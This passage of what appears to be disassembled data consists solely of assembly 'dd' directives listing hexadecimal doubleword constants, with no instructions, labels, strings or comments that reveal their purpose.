		dd 0D520D927h, 1C4DFD01h, 6E01F92h, 0B38BAE88h,	0C5939DBDh
		dd 477067A0h, 0B16FA7D1h, 53B9E362h, 8D1757B3h,	43CC07DFh
		dd 0DC933293h, 0DC6B0BA2h, 8CF18E0Dh, 0B53136CDh, 8DA51BE1h
		dd 390B2BA5h, 1D5BFF61h, 73D7A58Dh, 0B15BC309h,	73C7A58Dh
		dd 0C1317351h, 739F4EDFh, 79D70C35h, 8A15331Ah,	311BF7DBh
		dd 1733CFC2h, 718FDC69h, 5F438DDBh, 519CF751h, 6947C763h
		dd 0C5AA8BA3h, 6C64C47Ch, 93D4A5CCh, 515B41D3h,	9936300Ch
		dd 0D15FAACBh, 525EEF5Bh, 59E961D4h, 95E2F61h, 0B74364B7h
		dd 1973FEAh, 0E6DA8BF5h, 9AF3BD9h, 8864E7B7h, 119FC5C9h
		dd 0E6DAEFCBh, 51BF5EB2h, 49613329h, 0B53C7056h, 80AF6F99h
		dd 3E590291h, 88578D52h, 0F5AEF7F1h, 0A837B3F8h, 0C184CFD1h
		dd 0FAA7F965h, 591D4031h, 0A859F7F8h, 11538D95h, 5692D7ADh
		dd 71FFF765h, 0DB9F0DC9h, 0ED33BA43h, 0D7DE1108h, 190D7BA0h
		dd 535E1D61h, 517749B3h, 7873E889h, 0F202A507h,	25852F09h
		dd 0E9975CEFh, 8A390F53h, 0C99FAE79h, 78FB5CEFh, 69FFEFCBh
		dd 25A5397Ah, 99476F80h, 78F31D81h, 0F137858Ah,	85C07F3h
		dd 31E939C1h, 0E480F70Fh, 1A74B11h, 251B576Dh, 5295C1C9h
		dd 0D2A787BDh, 52842351h, 49878479h, 4733C773h,	0FF5B3961h
		dd 0A407F6A1h, 4B540EA5h, 66B1A1C2h, 295782C9h,	525339C4h
		dd 2EA7DE55h, 2107D782h, 3C673112h, 0E8277DB3h,	91D95C59h
		dd 937B3A3h, 3110948Ch,	0E1943329h, 0ED231BF3h,	0D5AB0F5Bh
		dd 0B4BDDFFDh, 0D119B2B1h, 2D51701Eh, 1E80297Eh, 4AB62467h
		dd 0F84124Dh, 0CB11160Eh, 0F024C3CFh, 3B91D730h, 2218FD44h
		dd 8B14B809h, 0B907EE89h, 8AC8FF3Eh, 0C03CC1B1h, 0EE86A56h
		dd 8F6242D5h, 9E4AE29Fh, 5697D5D1h, 0A4D8C5CAh,	0C7D1ABB4h
		dd 837317B9h, 26DB9EC7h, 84DB9CEBh, 0FD1C176Fh,	750F6F82h
		dd 0FAE940E7h, 91A062CBh, 5DEAAC41h, 4853B7C0h,	956004A8h
		dd 0AE143239h, 7567A8Fh, 52279603h, 4AD585CCh, 164BD699h
		dd 0C932EE09h, 0DE79E8BEh, 0E8DF3448h, 0C01F0309h, 0B1920B96h
		dd 0EC1403C3h, 0AFE44B3Eh, 4A4322C5h, 0D65706EAh, 36CF6EC3h
		dd 585E3C36h, 2C51C271h, 0F114E03Fh, 0C125C5D1h, 96E22B01h
		dd 0C1EF12A9h, 53091B3Dh, 0C6878F33h, 61DC8A65h, 41AF9839h
		dd 0D5FFA8ECh, 0DE175C0Ch, 923FFCDEh, 0C72B47CAh, 0A9E35566h
		dd 0EACC1662h, 0CDB5028Ch, 0B4C040B1h, 0A6060681h, 75BB1604h
		dd 8927BFB1h, 6402257Ch, 0DE418263h, 0F2E17D85h, 6394502Ch
		dd 0AB0730B7h, 7DBB3B97h, 441F53B3h, 0BB0455EBh, 393E7FC7h
		dd 977F7C97h, 0A0347DC7h, 0FCB983EAh, 0A2D7AB88h, 7DA89C44h
		dd 0FB1260D3h, 0B5967085h, 84A71A06h, 79181C65h, 0A941B06Ch
		dd 4F70B1D1h, 0AB4BD30Bh, 0C079D322h, 0DD5A1F5Bh, 0E4ECF14h
		dd 0CB941BAFh, 0C59FD5C4h, 0F327CE8Ah, 0D2CE9C33h, 54BA974Ch
		dd 13DF294Eh, 0ED180133h, 0EA3C0965h, 932C4399h, 62B50B74h
		dd 0E4CBAC0Dh, 223CBC89h, 0D09BA8C0h, 0D56B220Eh, 0C1D3C2ABh
		dd 0A13D559Ch, 0C70FD70Fh, 3DC576F9h, 0A933FCC4h, 0D7D70E02h
		dd 9FD351DDh, 458480Ah,	880815CBh, 0C3B997A9h, 0A4B93C21h
		dd 0D2AF629Bh, 4B4D00D4h, 97B5C7A9h, 0EDDA6913h, 9511C1CBh
		dd 2D3FFFFDh, 77DAA2C0h, 67FE7D1h, 0B4F71624h, 6C7C17A9h
		dd 901220A0h, 0EE4280B4h, 51135491h, 8EF49CC7h,	0F2DD36CFh
		dd 0D16F069Fh, 28A956DAh, 613B1E0h, 6D4E33CAh, 7AB18784h
		dd 55074FD2h, 894E3569h, 0D927763Ah, 81A927ABh,	21912E0h
		dd 6DF9FBB1h, 0B2A33B7Bh, 0A805CF0Eh, 331B099Ch, 13F65E1h
		dd 6306B3CDh, 7737AFC2h, 589F316Dh, 9EBD99E9h, 0C90D889Eh
		dd 0D923D599h, 0E0024568h
		dd 0B5F5587Fh, 0A00E932Bh, 5FD92E9Bh, 0E500C87Dh, 0E0E95DFh
		dd 68354745h, 0C8FD62CEh, 0EFFC7F3Bh, 0F853E4A2h, 0F38D4410h
		dd 48554403h, 0F4139B81h, 90F54F9Eh, 2D4C959Eh,	0CB466916h
		dd 48FDB25Bh, 10AF1221h, 0F2D7B7C1h, 0D7780393h, 0A20CD31Ah
		dd 98062F39h, 0B485A8F1h, 8FE6A9E1h, 0D9D95F11h, 65BBEB4Ch
		dd 0FC644031h, 0A5064A31h, 0CD1819ABh, 801C7F6Dh, 2F13113Ch
		dd 0AF51FA0Ch, 56C96604h, 25B01368h, 0D08CD568h, 956EA46Ah
		dd 0DFBCC2C3h, 2DDEDFD6h, 6809D427h, 93C64E9Ah,	2FECA12h
		dd 0F2421F0Eh, 422B2B91h, 29BBF71h, 0F81C0BE5h,	25A6F711h
		dd 0C46685E6h, 98C7348Dh, 0ADF3F3D8h, 0DB01E95Ch, 899126CAh
		dd 929E36ABh, 9047D5EBh, 85875A98h, 0F3831E06h,	0A86D3B1Eh
		dd 39A66385h, 4813ECEEh, 19E1C84Bh, 1A57CCDBh, 0FCBDE902h
		dd 964928E0h, 9A63931Ah, 73246468h, 0CDFF36C4h,	44F3B053h
		dd 0DED74EA7h, 0D7053FCDh, 0B62DB5EDh, 0AD5E1E04h, 0FC2A9223h
		dd 0B2FF0B65h, 9293B7A5h, 0E789E86Dh, 677C4313h, 324BD10Dh
		dd 0D546F4D8h, 3D09BA5Ch, 0D3B59D01h, 6035DC2Ah, 41141CCCh
		dd 521EAB40h, 751D3CA1h, 8A30A358h, 0AB03F729h,	21152405h
		dd 9A7D0E44h, 0C202C86Eh, 9B3641C5h, 8E460FB7h,	0C7C21404h
		dd 0CCFF02ADh, 911A9D8Bh, 393A3A60h, 0F691BF00h, 0CD61E94Ch
		dd 96176D78h, 2C4F7D84h, 706202E9h, 0BCE316DFh,	99ADDE9Ah
		dd 4B01671Ah, 3A14DDCDh, 1412C2h, 0CCDE65C3h, 75E82075h
		dd 0CC3ED4E3h, 0E84AD354h, 0BCCBE3C2h, 5B2394ACh, 311AAF3Fh
		dd 2562E88Ch, 0EAABA561h, 90D7BC98h, 0DEE2B3F3h, 0A3E802F9h
		dd 2D9C6F6Ah, 0C85A6BB1h, 0D377C34Fh, 73C917AEh, 0C9091B54h
		dd 4C0E572Fh, 94DBA6BFh, 29059CCFh, 21186FA6h, 5630D8Bh
		dd 553FBDDDh, 913A9D8Eh, 0E5597BC8h, 0D2818DB5h, 0BFDBCA5Bh
		dd 711213C7h, 41072492h, 24A41A53h, 653486FEh, 0D89B7B5Dh
		dd 7DB311D8h, 5486505Dh, 15D356C7h, 0D397E8DFh,	88E979FDh
		dd 0B54EC791h, 0E7E35131h, 4F3B56A6h, 0C574D88Fh, 204342B6h
		dd 40E8717Eh, 0BCE7E940h, 0B31FD8C6h, 0C661101Bh, 16C211A7h
		dd 426A10A7h, 32CFE588h, 0B311CFC0h, 33161BD2h,	474B1737h
		dd 37086325h, 6385E1CBh, 0D7FDFA17h, 56C9401h, 0C4121CE5h
		dd 83671CD7h, 0A7DF504Ah, 87114F2h, 0BD4890DDh,	0C7EDA1D0h
		dd 280D7110h, 568BD64Bh, 0DD531321h, 0FF037F37h, 0FAD10C05h
		dd 3552F897h, 9018EB7h,	0DF3E50ABh, 0CA35DFEFh,	98FDFB3h
		dd 7BF80129h, 0EAC3B518h, 947C583h, 0C5835CC2h,	0F75BDB28h
		dd 5F9D40C4h, 6160D9C2h, 67C77C7Ah, 6CBDB5EEh, 4A4A85EDh
		dd 15629391h, 0CBC312B6h, 0DEB71067h, 3BA5BA0Bh, 4A5A1398h
		dd 723AA1C4h, 69FDC1D4h, 1F602FC9h, 1815B5A4h, 6D9DA71Bh
		dd 0D06227B1h, 0C2A34A23h, 5F6A09C4h, 586E4C16h, 0C2A14C25h
		dd 7D001503h, 0CB9F0625h, 0ED2EA1A3h, 0A4104B4Ah, 980944F4h
		dd 0A017A419h, 0DB006797h, 1B75D92Ch, 0C9CB03BFh, 473050C5h
		dd 0BF8A6D6h, 91021407h, 0AD72DFC2h, 3D8CABC1h,	81A3DC77h
		dd 5916EF24h, 0D5D9155Dh, 800482DAh, 0F438A9E1h, 0E270A160h
		dd 7397C9Eh, 1F7A53C2h,	505B4015h, 8C1544C2h, 0E739D7B5h
		dd 0A89F142Fh, 0FB3CC71Bh, 86FF8A94h, 2476B1C8h, 31E11231h
		dd 0A33BC0CAh, 80177A2h, 0C5829243h, 2167892Ah,	0DBB3B1FFh
		dd 5F1F7E87h, 66216792h, 0CD13505Bh, 77BF6094h,	4F636B68h
		dd 0B9A50042h, 7B2C5E6Bh, 0CB949D17h, 0C52B6ECDh, 0D890C36Eh
		dd 4A1914FFh, 9953464Ah, 0DE1FD894h, 98470A07h,	4F473ADCh
		dd 7591B9C4h, 3D783778h, 0C43AD2F9h, 402BEA96h,	7C58C693h
		dd 0EC69DC4Ah, 379A5E2Ah, 0BEA72D83h, 0EAE80A34h, 5121C2EAh
		dd 102A94B6h, 0D97D3BB6h, 0A83A0E24h, 420BF782h, 0B3530603h
		dd 0D7FBA09Ch, 0C66EC42Ah, 0D07F2285h, 959B25B9h, 0C1B1BF93h
		dd 1798ED2Fh, 3ECB5E44h, 0BFA86BE1h, 0BFB97F5Bh, 96C0434Ah
		dd 0DED6086Ch, 15CE72A7h, 60505EBCh, 0C3AC2AC3h, 8D3227EDh
		dd 75CB4A9Ah, 0D83A87C0h, 0F3040EA8h, 74C56301h, 772BFCBDh
		dd 0F60593F8h, 0DE698D76h, 0DDCEAB44h, 778897CFh, 0DA7DA6CCh
		dd 81A4DEE0h, 0B0275C97h, 950A7B98h, 83420DC3h,	7B49BE7Fh
		dd 2EB59CBCh, 859421E0h, 0C10532DCh, 0DE3C1CCDh, 0C75F0222h
		dd 9FD61798h, 0F39D0574h, 1874EADFh, 5AB6B8E2h,	4ADC316Eh
		dd 0DB53478Ch, 861DB6Bh, 773FC124h, 0BC2C1365h,	33BE0380h
		dd 0CC58BF8Ch, 3F61566Eh, 0E3BD6601h, 68A71897h, 9857652Dh
		dd 871F5639h, 0E0370890h, 0E61C3870h, 0D01DBF91h, 2A67C197h
		dd 0BBC205FBh, 167E1CE5h, 47896230h, 0C3062A5Ah, 3592A41Fh
		dd 2819CCACh, 0F2924E84h, 0C0CFAD0h, 0D942D583h, 0CE0F4E96h
		dd 9ECFFE88h, 2A31CFFCh, 0CD5101EBh, 1EA9205Ah,	0AB25EDCBh
		dd 0F49340CCh, 0E5A5A8DEh, 914E2340h, 4D114EB6h, 16261B6Bh
		dd 0BC921F5Ch, 623BC4A0h, 0CB5F6A9Eh, 0A402DFF3h, 84E7509h
		dd 126352F0h, 0A610BD8Ah, 3162CE4Ch, 0AC571602h, 0F7A77A72h
		dd 0F0091629h, 0DE9C564Ah, 961169C9h, 5167A265h, 51777C21h
		dd 0D788554h, 15C1FA4h,	8D7E8296h, 16A203E5h, 751B11C7h
		dd 80C0C1EBh, 0D111C10Fh, 0A01F9ED0h, 89970631h, 590474EAh
		dd 7D4BD0E8h, 8CF1372h,	0C2101049h, 2B4C0BC2h, 911D492Dh
		dd 1BB3AC41h, 0D5EA7ABCh, 0D5CAAFEBh, 0DCEAB5BFh, 50BCF183h
		dd 79C71730h, 2148A160h, 0FAE01C87h, 0DE4A6B22h, 75B3D419h
		dd 2AEF142Bh, 0ACEC98CDh, 7A329086h, 896352CDh,	0D05A2BC3h
		dd 0B46FA76Ah, 0A8E0500h, 0B22AA1CBh, 0A33797D2h, 38CE82DAh
		dd 0A3C15E01h, 807D307Eh, 0E06E14DAh, 1A90A574h, 109E177Dh
		dd 0F1AAEFE1h, 0C656A794h, 0AB5FC0B1h, 66ED7DC3h, 6CD080C4h
		dd 52157DBFh, 7EFF1655h, 962989C3h, 1E0BD735h, 2785C24Fh
		dd 0C697AC62h, 0D214AA37h, 346B924Bh, 1C0F48D6h, 0E3C42895h
		dd 71275A94h, 0F8820087h, 0CEF6F53h, 0C3622CF5h, 0CB5245B4h
		dd 0F4677537h, 53743288h, 4B5F42BCh, 246A63D9h,	0B5A01DC1h
		dd 87FE1F5Ah, 0EBA1011Ah, 410825Dh, 481C2545h, 47F71255h
		dd 0FCE34DE5h, 0A5844F42h, 0CA126F0Ch, 84724061h, 0CA1EEFA3h
		dd 6B6110EBh, 846C5208h, 36082A7Ah, 94232578h, 0BB4F09ABh
		dd 9E4E7DA0h, 0FBC4938Fh, 0D9775835h, 760409E0h, 69A8D7B0h
		dd 0FD288F0Fh, 9B7B0348h, 6042C6ECh, 383D16BAh,	2F0C077Fh
		dd 0AB102D89h, 0D1259A46h, 321A3B7Dh, 0FA18ABDAh, 0E92C3086h
		dd 187CEFBDh, 6C9421Eh,	5E3E51FDh, 4844490Ch, 50B40F3h
		dd 0B7265FA4h, 59D1C732h, 0AF4C179Dh, 0C2EED09Dh, 0CCAC1D3Bh
		dd 9D1C2AF1h, 19FA9BF3h, 9AF62EC4h, 1A0EF823h, 0BF5E18C1h
		dd 1297CB4Bh, 4942E551h, 2CE0192Bh, 0C09D45CFh,	0F3DC9FA2h
		dd 8D2A8AFBh, 0ACB6A8B2h, 0D730104Bh, 0C565903Eh, 8DFAFA49h
		dd 8AFF743Eh, 0C79F9FD5h, 0C05743C7h, 0BDD82C82h, 84FB97BCh
		dd 942399CAh, 799F625Ah, 74154FD8h, 8190D7D5h, 0D1E29E0Bh
		dd 0BB9AA71Ah, 68157112h, 75AFA315h, 0C53A4E25h, 0D616DEBEh
		dd 0AB1663CCh, 0A1970217h, 0AB95715Fh, 3D156254h, 0C7B1C603h
		dd 0F2B4069h, 0C27839B4h, 94DC1B63h, 341FAB33h,	43CACD00h
		dd 0EF098E73h, 0C0E71711h, 976CDEEDh, 437D5535h, 0BF0F10B0h
		dd 417A1360h, 0B5046ECBh, 0FC01681Ah, 7AAB272Dh, 0FCE863C6h
		dd 86C962CCh, 800426ADh
		dd 0F9A08FFCh, 3D17AC91h, 994B04DDh, 122B17CAh,	0C01BA131h
		dd 0C51317C3h, 0DB5165F8h, 0C2DA878Bh, 0C08F16EDh, 0D3C69B2Dh
		dd 0A2DD5C81h, 586A0B1Bh, 471C4C2Dh, 0C7D2DF18h, 0D90E62D9h
		dd 0FD8ED594h, 5687AE65h, 0CA3896AFh, 2945ED51h, 81785999h
		dd 91370577h, 0D90D3180h, 351129D3h, 0DCCF1618h, 78EA7AE0h
		dd 5D12F30Dh, 81C77611h, 4111CC71h, 5949C7FFh, 0C1587689h
		dd 0B5944DC2h, 41A4529Ch, 0D963A09Eh, 31963539h, 390C22DEh
		dd 4588ACF5h, 0E2DD1E92h, 0E629CAF4h, 211F15BDh, 0D1E6355Fh
		dd 0E97111D8h, 8915AFDCh, 8AC0A672h, 0A89E1C0Eh, 25447D4Dh
		dd 0C93DB5DCh, 1373D121h, 33164EC0h, 0C3591977h, 611E7509h
		dd 3DB7BDF6h, 6B8ED738h, 0C17FE779h, 0CE4EA861h, 0AB13E787h
		dd 0F58F2862h, 0C77E7C3Bh, 1738590Fh, 0D11AF111h, 0F0E03733h
		dd 58F6F736h, 489C078Fh, 0D0E44F2h, 37B746C6h, 0CA445791h
		dd 0C03306C8h, 0B41C2C19h, 5A8AC716h, 6E786C7Fh, 14717Bh
		dd 9F6B7DE9h, 30C0998Dh, 77D8533h, 0AEAF1F8Bh, 212CFA2Eh
		dd 4FD14A3Dh, 3C68EEAh,	8754EFFAh, 714E54ADh, 0C8021706h
		dd 26B6519h, 0F5967A07h, 0B767D6E9h, 0CDFFD541h, 0CD16FF22h
		dd 0C12EF9E5h, 0DC5963D4h, 89382FB9h, 6CCDA053h, 0FF3377D7h
		dd 0FAC95B82h, 0A205DBB8h, 4425BD47h, 0E21683BAh, 0B9475801h
		dd 1A186855h, 80C76BC9h, 0BC12947Ch, 0C96362DEh, 47203B61h
		dd 0D7AD16B4h, 5AF32B25h, 0B1D8DF94h, 0C91883Ah, 2BBE05B5h
		dd 0AD4C1947h, 927CEB48h, 8D568F4Ch, 8998E885h,	3ED19F27h
		dd 4B0316C1h, 49062788h, 9F1D5E44h, 69DEBD1Bh, 2EF9BFE4h
		dd 0C15CEFCFh, 8B4006AAh, 71174580h, 4F580D24h,	0A5E02149h
		dd 921BA994h, 5771592h,	8DBD3A5Dh, 47D0FB21h, 0C3649B06h
		dd 0F602AAC0h, 41FF7362h, 4A51F52Bh, 0DF425BD4h, 37277543h
		dd 0C0EC93A1h, 0F3E14063h, 16C6BFEBh, 943A6275h, 83937777h
		dd 136E0748h, 0B714D94Fh, 717D7FD8h, 93D6CEEFh,	0E4A4945Eh
		dd 0B38FA021h, 0DBF2CD18h, 5EDC5DDEh, 5F7665C2h, 0FC15CDC1h
		dd 2D1A7F69h, 86EFDFA1h, 0FC3735DBh, 671B580Fh,	0C5BF271Fh
		dd 0C12E1437h, 1A16E6C0h, 0C6C3790Fh, 0E32741BCh, 5DBD5D2Eh
		dd 2B12240Dh, 0FD229F6Ch, 0ADE5FD14h, 0E2E31471h, 0EFBD060Ah
		dd 31116278h, 0CC9A007Ah, 0E2AB9F39h, 72C69AD4h, 76CFF7CEh
		dd 610794C5h, 0F60CF705h, 0AE6402A3h, 5D0A0231h, 88212598h
		dd 387116D1h, 1B1FAB92h, 3A7C71BAh, 82683A53h, 2171EAh
		dd 0C5299429h, 1D8E11C0h, 0D52A2B2Ah, 19B53372h, 0FD5DA62h
		dd 8ADF44C4h, 0D4C4E0C4h, 0D733F0C8h, 18FE1125h, 25E0E6C1h
		dd 73F812B3h, 92D7DBFh,	5206D9C1h, 77BE0909h, 61FB17A3h
		dd 181113F3h, 51692FFCh, 369B6BF8h, 0B464D6DFh,	51204174h
		dd 68647FF1h, 0C57B8C5Dh, 180F1121h, 1D5DE64Fh,	7718A8CCh
		dd 0B1EF86E1h, 71761FD5h, 3C3BAC02h, 0C92C6955h, 0E355EEF0h
		dd 0D26BE1BDh, 4919D495h, 444146E2h, 8FD6C64Eh,	0A7CA3630h
		dd 3FE31652h, 0C731948Fh, 0CB16D187h, 0D3D23DCFh, 40D3ACA2h
		dd 0AB113326h, 688ABCF7h, 0DADF0EECh, 1457F6DCh, 0B4EEA6C7h
		dd 962258F6h, 8C0DA2E0h, 0DDE5E7B6h, 0D09A1F70h, 637D1C01h
		dd 4B7100CDh, 0C72DFBB7h, 0F0CCABB4h, 2D1BA1F8h, 0B5FC0379h
		dd 624822FFh, 0A5432F21h, 97BB3CD5h, 0FE4771ABh, 0C7D097B0h
		dd 0A09C1DDCh, 0B4D39D81h, 0D4738767h, 0DBE6D76Bh, 0C5FA1E2Ch
		dd 0B1111430h, 67195FC2h, 0BC4B2C62h, 69DF057Ah, 19956451h
		dd 32C71230h, 0EF9F609Fh, 0FF0F7145h, 0AF41119Dh, 0F10515ABh
		dd 50C3FA68h, 0B0529FABh, 0DB85E8E2h, 3A229C93h, 0C912D907h
		dd 0D79394D1h, 0AEB5DB11h, 0BF7101A9h, 97401341h, 0AB84210Ch
		dd 102F7741h, 0AC63520h, 75580E58h, 65021659h, 0BAAC66B3h
		dd 0E7FC5FE6h, 90DB34EAh, 0BC07711Eh, 0AB1D6090h, 1045B2F2h
		dd 6A3E56FAh, 0FCB9918h, 0BD73A5D3h, 4A2100A2h,	111F2303h
		dd 0C56209EDh, 0F12C5517h, 9741CE39h, 0F104E1BBh, 6A7072Dh
		dd 2AF13B2Dh, 9FE19BDCh, 75A89B61h, 983222Ah, 0BB07DA69h
		dd 0C8979F37h, 0E7B3E04Dh, 0B3C70DD1h, 0CF352A8Dh, 0CE0578D7h
		dd 0E502D046h, 7E793DDDh, 0AB3468C8h, 789DC69Fh, 273CD3Eh
		dd 4956AC75h, 3D55955h,	4B1F26h, 484262B7h, 9CD41F04h
		dd 0A57B7B05h, 0A667ABB9h, 0BD141584h, 96B9C348h, 0F2A1AD71h
		dd 0F4609943h, 7D20A6ABh, 477B4640h, 0EB95C2F7h, 0CE2160C7h
		dd 18825674h, 0D3DCD4F0h, 832F16B5h, 0F15750A0h, 868203E2h
		dd 0AF7D1CA7h, 0C0BA92C3h, 31039EC3h, 0CBD0BBC7h, 14A1FC9Ah
		dd 0D0F71C7Ah, 0C063EF85h, 74A4503Fh, 311615BDh, 0DED617C8h
		dd 6989787Eh, 927F39EAh, 3FD036ABh, 46D43C02h, 93BE4BC1h
		dd 0D52CA7CCh, 42F6CF9Bh, 0BDC8148Fh, 0C818FF61h, 0C276FD9Ch
		dd 45007D7h, 39899148h,	7954F689h, 0A3F1D207h, 910C61CAh
		dd 873F3BDFh, 1C25413h,	880B1E5Fh, 8D11D64Ch, 0AD40C27Fh
		dd 9C4B2226h, 0C645CE85h, 30D16BE5h, 33CC7EDh, 0D0310F44h
		dd 0B7CF3370h, 0D155C047h, 66830296h, 0F45B81ACh, 0CC9DBF92h
		dd 10591096h, 0C3EBC784h, 0EB505036h, 0EC3DA5D9h, 936C24ACh
		dd 0DDF8B855h, 6956A6BBh, 7E6CFF62h, 3136408Bh,	252C16BCh
		dd 26D9D897h, 0AB01BF39h, 153C32E6h, 30A210A6h,	69CE3385h
		dd 81C8DBA7h, 70472596h, 27A43AEh, 0F0B7FC7Bh, 6B779AD2h
		dd 9FABF2C8h, 9CA7EAE4h, 4F4786EEh, 0F59A56D2h,	3CB6198h
		dd 0E5228229h, 83A43905h, 0CC4494C4h, 71D69B4h,	0D59C62D2h
		dd 0CD35CF77h, 1C0143C0h, 0F862ECD8h, 0CC181942h, 0C6474362h
		dd 4CE4FF69h, 0EA12E817h, 0BCE0A878h, 2AA008FCh, 412463C4h
		dd 0FE3FF6C0h, 0A5BB944Fh, 0CB1902D8h, 0CD588E40h, 80707792h
		dd 0BFC66AC5h, 0BDC5E9F1h, 0D362AC63h, 0C8F59407h, 0C0E79A8Fh
		dd 0A44CBF83h, 0C3D90000h, 15A0AA35h, 36A23280h, 0F0C393C9h
		dd 945A731h, 169830F3h,	468EB53Dh, 0C65D3479h, 0D53CA3DDh
		dd 1BB517FEh, 0C711EFD3h, 36D51410h, 915CA7EEh,	920D9C3Bh
		dd 771201CEh, 0FE0467C1h, 2704AFD1h, 42351402h,	0ABFFDEE1h
		dd 4B1896E7h, 8E62F331h, 44E1AE81h, 0E5533D09h,	733711A6h
		dd 0A62BC62Ch, 0F582CF3Eh, 0A9770AC8h, 1F34A64Dh, 28BEF8Bh
		dd 0D7A6079Dh, 2154EF73h, 44FF4114h, 0C3C2E09Eh, 4E4176C1h
		dd 0C4320F3Ch, 0C52CF3E4h, 917DD56Dh, 47827300h, 0E1DF4886h
		dd 7CB24F95h, 9C74EF96h, 0D2AD43B0h, 0FDC68FD0h, 931D0563h
		dd 0CE179C5Bh, 74B118C9h, 4AF73641h, 1490FFA4h,	0B516D1F8h
		dd 32C6742Ah, 0CD74B232h, 35940FC0h, 9D975A49h,	0B2D4B700h
		dd 97396FFFh, 3876475Dh, 0EAD010D3h, 0BF9D2AC9h, 0CA61FA2Fh
		dd 0DA351A48h, 155B4FD2h, 0E0554760h, 0CEB9D702h, 64224EABh
		dd 0F9606EC9h, 0A27065B9h, 8C6770A2h, 0CC730EB7h, 0A70212A9h
		dd 0A966AF41h, 86E3FD15h, 162B1F68h, 8039B149h,	892747E5h
		dd 0E5BB7084h, 733695FDh, 244265h, 172C5AA5h, 7C076183h
		dd 957DA0A8h, 390508E9h, 98F168A0h, 42FEC429h, 0A8EE14F2h
		dd 335116BCh, 0F7F18D6Ch, 0DD7344EDh, 45FF4100h, 259FCEACh
		dd 0E165CB01h, 0DD480C80h, 1E8C1FC0h, 0CB20F325h, 0E2AA9E49h
		dd 0AA0B3B77h, 0B42002B5h, 0B1FF71E9h, 0A907D700h, 0C40CEE19h
		dd 51F2598h, 0A82B7217h, 0C64F0B15h, 7B18F504h,	0D0D8BC88h
		dd 23030718h, 7115AB1Bh
		dd 0EA12F45h, 0C6CE7194h, 0F49BA265h, 4837FAE7h, 0E835E1CEh
		dd 98D3B3B9h, 4CA56010h, 0A3A7334Fh, 0D744104Ah, 71B77DFCh
		dd 2D9D7AAh, 7E196DCBh,	0F56B1E53h, 0BD3505DFh,	0F58C41E7h
		dd 0F1C030Dh, 79394BADh, 4838BD01h, 0F9AC12BDh,	9621CAE1h
		dd 6743B430h, 0C8D33D09h, 0A5111B87h, 0D8B7C533h, 5568B751h
		dd 0D1098C5Ch, 44C39F9Dh, 0E6AF51F1h, 39B77A0h,	0EA5893DCh
		dd 0EAE9D159h, 0C43348CBh, 988ED33Ah, 774ECE87h, 59794D05h
		dd 46DA639Ch, 53D31D6h,	0ACF77D0h, 924E8778h, 6FB74475h
		dd 464B13E1h, 0C5A43375h, 6459F868h, 0C2292F7Eh, 953CBF96h
		dd 261D1702h, 0C6194D1h, 0BB72316Bh, 1BC50770h,	0E98D14A0h
		dd 0ECA5DAD5h, 438B17DFh, 635E3B6Ch, 0D919162Fh, 4A7BD12Ch
		dd 0E45390E7h, 0F3121BC9h, 513339A5h, 422733E5h, 0D163BFA3h
		dd 79458395h, 0FEC58218h, 52860267h, 0C19EA441h, 13B39792h
		dd 968EA4DDh, 513ABF3Dh, 0CD8B9FC9h, 0C256FB4Bh, 2F5631D5h
		dd 0E5632BCCh, 4914C4D5h, 472C2EA0h, 14DFD4D5h,	0CC30D0F3h
		dd 0CFAECB15h, 6D6F5FA9h, 901CB0Dh, 712F6D1h, 7D904E80h
		dd 0ACB4BE5h, 6DF4BB7Dh, 0E005B601h, 0C0725757h, 2A3173D8h
		dd 5D59AE1Dh, 0F9F3F34Dh, 5D9B874Ah, 0AD01BE0h,	63FB5724h
		dd 0B0216B52h, 0DB51A581h, 41F4526Bh, 0C1E8DF5Bh, 901A5635h
		dd 4FF2FFF3h, 99156EC0h, 0F5211CC5h, 0BD1A12BDh, 0DCB00F60h
		dd 6B147F8Ch, 547A7DF1h, 0C72C7FF6h, 0D90DC6B5h, 0C917F44Ah
		dd 490B0BEAh, 4CC73F41h, 49777603h, 0C0BB3106h,	80CB9436h
		dd 94102EB5h, 46473B05h, 627F63BCh, 96C66A9Ch, 0D3BF9FD3h
		dd 57B0EA89h, 46EF1EEFh, 0EDDE4B18h, 0AD3A802Ah, 2816E1D6h
		dd 0E4172566h, 1F48ED37h, 34DD9571h, 0F4F84948h, 51DA5CF7h
		dd 97E4E235h, 991E84D3h, 3A6292B2h, 7F941E1Bh, 45106AB1h
		dd 527CBF21h, 0E9D60752h, 0CF1D6266h, 0B17DCD82h, 481E1DB5h
		dd 374B5D31h, 272E9E03h, 474E41CEh, 0E1538C9h, 0A5DEEFDEh
		dd 0A8D2E787h, 0A3CB10ECh, 0F7405E62h, 83353FB7h, 0C75B63F0h
		dd 543019DEh, 45E9D952h, 4A483563h, 48D69F61h, 740B0BE1h
		dd 0DB17444Bh, 1593CBE9h, 4C3CCC89h, 49CCC7C0h,	4B0B0CAEh
		dd 0B4E125CFh, 681B2FA1h, 1018D7B5h, 0AA9D0380h, 0CA744ACBh
		dd 4C39E303h, 0D45EED4h, 0B2A36B11h, 0F2629CC0h, 0CA78098Fh
		dd 970017BBh, 2DD69623h, 4A1DFDD6h, 62D58121h, 8C9C49B9h
		dd 6219CF9Fh, 88193FD1h, 2B1C5C9Bh, 4057A056h, 43D66B94h
		dd 18D6FE59h, 0B3AEF4C7h, 9E18CA1Fh, 0C35978C7h, 97071FC2h
		dd 3F8049D9h, 0A737DC24h, 0B72779E9h, 0CE6869F9h, 0BE5810CEh
		dd 0B3AE1F24h, 0D1484B96h, 0E1780FA6h, 85B43FC1h, 0F168DCB6h
		dd 417F2FBAh, 0CF57037Bh, 8F695E1Ch, 0FE1CB441h, 0C24D9422h
		dd 6518DC32h, 0A18760FAh, 90D49F19h, 900E639Eh,	0C41FBDADh
		dd 0C707A219h, 0EFA2FAC9h, 327C1CC5h, 960A13CDh, 3DCEBA84h
		dd 0F75FE917h, 0EC0A1266h, 48509EC6h, 0C97A13C3h, 0A41B4E57h
		dd 0D90B07D5h, 3FEA664Bh, 22C281E1h, 0E615F6DEh, 9E42E46Bh
		dd 0D22C44C1h, 3EF87CBDh, 48611F7Bh, 0EAE70CBAh, 4B039DC9h
		dd 0B6011FBh, 11470681h, 0C565ACAEh, 0FA0D0686h, 0C0D4652Ah
		dd 7FCD0DE3h, 39AC442Ah, 3893E4ADh, 0C08E1D02h,	41E5DA69h
		dd 1900B6DBh, 0AC51DA09h, 0B3DAD668h, 0C13DB217h, 3DDED694h
		dd 3FD53B6Ah, 3DE05101h, 0C6503175h, 0B4133D21h, 7D9E3681h
		dd 7FD3BACEh, 8EC1488Eh, 0EB9AE371h, 0D9270AE2h, 16211187h
